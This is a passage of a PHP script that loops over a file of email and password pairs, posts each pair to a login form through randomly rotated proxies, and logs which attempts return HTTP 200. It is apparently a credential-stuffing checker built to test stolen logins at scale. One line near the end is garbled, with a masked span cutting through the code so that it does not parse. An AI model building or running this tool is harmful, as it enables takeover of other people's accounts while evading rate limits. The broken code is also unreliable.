exit('File ' . $params['use'] . ' doesnt exist!');
}
$requests = 0;
$requests_200 = 0;
$handle = fopen($params['use'], 'r');
while ($line = trim(fgets($handle))) {
    if ((bool) $params['use_proxy']) {
        if (count($proxy_list) == 0) {
            exit('No proxy in proxy_list.json');
        }
        $proxy = $proxy_list[mt_rand(0, count($proxy_list) - 1)];
        $request->setProxy($proxy['ip'], $proxy['port']);
    }
    $user = explode($params['delimiter'], $line);
    $data = $post_data;
    foreach ($data as $key => $value) {
        $data[$key] = str_replace(['{email}', '{password}'], $user, $value);
    }
    $request->postData($data);
    $request->run(true);
    // stats
    $requests++;
    if ($request->getHTTPCode() == 200) {
        $requests_200++;
    }
    echo $requests, ' HTTP-Status: ' . $request->getHTTPCode(), ' Email: ', $user[0], ' Password: '******'use_proxy']) {
        echo 'Used Proxy: ', $proxy['ip'], ':', $proxy['port'], PHP_EOL;
    }
}
echo 'Done! ', $requests, ' requests send. ', $requests_200, ' requests with HTTP Code 200.';